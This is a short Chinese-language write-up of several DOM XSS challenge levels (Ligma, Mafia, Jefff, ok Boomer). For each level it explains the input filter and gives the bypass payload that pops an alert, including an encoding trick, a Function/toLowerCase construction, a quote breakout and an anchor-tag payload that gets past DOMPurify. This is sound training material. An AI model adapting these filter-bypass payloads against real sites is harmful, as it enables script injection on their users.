一、dom关卡复现
1、Ligma
根据正则匹配规则,此关卡过滤了只能使用编码解决,在JS上面把alert(1337)编码,然后再编码成url编码格式 ,写入就行。
2、Mafia
根据正则匹配规则,此关卡过滤了
(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
,所以只能用编码解决。首先构造一个函数并定义此函数ALERT(1337),但是js严格区分大小写,虽然可以绕过但是识别不了,通过.source.toLowerCase()转换成小写,就可以解决这个问题。
Function(/ALERT(1337)/.source.toLowerCase())()
3、Jefff
payload:payload:jeff=1";alert(1);//
4、ok,Boomer
DOMPurify库,该库由一个世界著名安全团队cure53维护,原理就是利用白名单,将非白名单内的属性和标签全部过滤,绕过DOMPurify的过滤,非常不容易。
构造一个id为ok的a标签,弹窗会把href里面的内容自动转码当成一个字符串打印出来,setTimeout时间函数是可以把我们想要操作的函数放进字符串去执行
payload:<a%20id=ok%20href="tel:alert(1337)">